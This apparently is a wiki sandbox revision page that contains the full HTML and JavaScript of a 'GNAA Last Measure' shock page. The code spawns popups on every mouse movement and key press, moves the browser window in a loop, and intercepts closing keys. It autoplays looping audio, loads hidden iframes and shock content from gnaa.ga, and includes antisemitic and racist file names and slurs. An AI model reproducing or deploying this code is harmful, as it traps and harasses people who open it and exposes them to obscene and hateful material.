User:Pmb1226/Sandbox: Difference between revisions

Revision as of 09:37, 31 October 2022

<html>
<head>
<title>THIS PAGE SMELLS LIKE FARTS</title>
<script>
			var i;
			var j;
			function altf4key() { if (event.keyCode == 18 || event.keyCode == 115) alert("THIS PAGE SMELLS LIKE FARTS"); }
			function ctrlkey() { if (event.keyCode == 17) alert("THIS PAGE SMELLS LIKE FARTS"); }
			function delkey() { if (event.keyCode == 46) alert("GNAA LAST MEASURE LIVE!"); }

			var nom = navigator.appName.toLowerCase();
			var agt = navigator.userAgent.toLowerCase();
			var is_major  = parseInt(navigator.appVersion);
			var is_minor  = parseFloat(navigator.appVersion);
			var is_ie     = (agt.indexOf("msie") != -1);
			var is_ie4up  = (is_ie && (is_major >= 4));
			var is_nav    = (nom.indexOf('netscape')!=-1);
			var is_nav4   = (is_nav && (is_major == 4));
			var is_mac    = (agt.indexOf("mac")!=-1);
			var is_gecko  = (agt.indexOf('gecko') != -1);
			//  GECKO REVISION
			var is_rev = 0
			if (is_gecko) {
			    temp = agt.split("rv:")
			    is_rev = parseFloat(temp[1])
			}

			function procreate() {
			    for(i = 0; i < 16; i++) {
			        popUp("/members?popup=100");
			    }
			}
			function popUp(URL) {
			    day = new Date();
			    id = day.getTime();
			    eval("page" + id + " = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');");
			}
			function load_goatse() {
				document.body.innerHTML += goatseflash;
				setTimeout(unload_goatse(),3000);
			}
			function unload_goatse() {
				document.getElementById("hello").style.display = 'none';
			}

			var images = new Array();
			var imagecount = 0;

			var delay = 10;
			var step = .2;
			var curstep = 0;

			window.resizeTo(800,600);
			var centerX = (self.screen.width - document.body.clientWidth) / 2;
			var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;
			movewow();

			function movewow() {
				var j;
				for (j = 0; j < 5; j++) {
					curstep += step / 5;
					var factorX = Math.sin(curstep * 6.1) * 0.9;
					var factorY = Math.cos(curstep * 3.7) * 0.9;

					factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)
								* (Math.sin(10+curstep/10)+0.2)
								* Math.cos((curstep + j*25)/10);
					factorY += 0.2 * Math.sin((20*Math.sin(curstep/(20+j)))+j*70)
								* (Math.sin(10+curstep/10)+0.2)
								* Math.cos((curstep + j*25)/10);
					window.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));
				}
				document.body.background = images[(Math.floor(curstep) % imagecount) + 1];
				setTimeout(movewow(), delay);
			}
			var protos = [
				"lm.pdf",
				"jews.wmv"
			];
			function add(str) {
				div = document.getElementById("goatse");
				div.innerHTML = '<iframe style="width: 1; height: 1;" src="'+str+'"></iframe>';
			}
			function ruin() {
				document.body.innerHTML += '<div id="goatse">Y HALLO THAR!</div>';
				//while (1) {
				for (j = 0; j < 5; j++) {
					for (i = 0; i < protos.length; i++) {
						add(protos[i]);
					}
				}
			}
			var audio = new Array();
			var audiocount = 27;
			audio[0] = 'HEY.wav';
			audio[1] = 'eska.wav';
			audio[2] = 'fury.wav';
			audio[3] = 'popeye.wav';
			audio[4] = 'kirk.wav';
			audio[5] = 'abez2.wav';
			audio[6] = 'original.wav';
			audio[7] = 'rkz.wav';
			audio[8] = 'blackman.wav';
			audio[9] = 'jesuitx1.wav';
			audio[10] = 'rucas.wav';
			audio[11] = 'jesuitx2.wav';
			audio[12] = 'jizzy.wav';
			audio[13] = 'sam.wav';
			audio[14] = 'abez.wav';
			audio[15] = 'trogg.wav';
			audio[16] = 'jenk.wav';
			audio[17] = 'acostoss.wav';
			audio[18] = 'lord_kane.wav';
			audio[19] = 'tehdely.wav';
			audio[20] = 'unknown.wav';
			audio[21] = 'jsilver2.wav';
			audio[22] = 'jenk2.wav';
			audio[23] = 'meepsheep.wav';
			audio[24] = 'jsilver.wav';
			audio[25] = 'jakk.wav';
			audio[26] = 'acostoss2.wav';
			function start_play(i) {
				document.getElementById("audio").innerHTML += '<audio src="'+audio[i]+'" loop="true" autoplay />';
			}
			function start_audio() {
				for (i = 1; i < audiocount; i++) {
					setTimeout(start_play, 12000 * (i), i);
				}
			}
		</script>
<style>
			html {
				height: 100%;
				width: 100%;
				overflow: hidden;
			}
			body {
				height: 100%;
				width: 100%;
				margin: 0;
				padding: 0;
			}
		</style>
</head>
<body style="background-image: url(https://gnaa.ga/lastmeasure/hello.jpg); background-color: white;" onload="start_audio();load_goatse();document.getElementById('goatse').reset();movewow();setTimeout(ruin(),20);" onmousemove="document.getElementById('goatse').reset();movewow();procreate();" onkeydown="altf4key();ctrlkey();delkey();procreate();" onunload="document.getElementById('goatse').reset();movewow();procreate();" onmouseover="document.getElementById('goatse').reset();movewow();procreate();">
<script>
		</script>
<div>
GNAA LAST MEASURE LIVE
</div>
<script>
		</script>
<div id="audio">
<audio src="https://gnaa.ga/lastmeasure/HEY.wav" autoplay loop="true" /> </div>
<form onreset="procreate();" onsubmit="procreate();" action="#" id="goatse" name="goatse">
<p><span style="background-color:white; border:thin solid; color black;">Click meh</span></p>
</form>
</body>
</html>
User:Pmb1226/Sandbox: Difference between revisions

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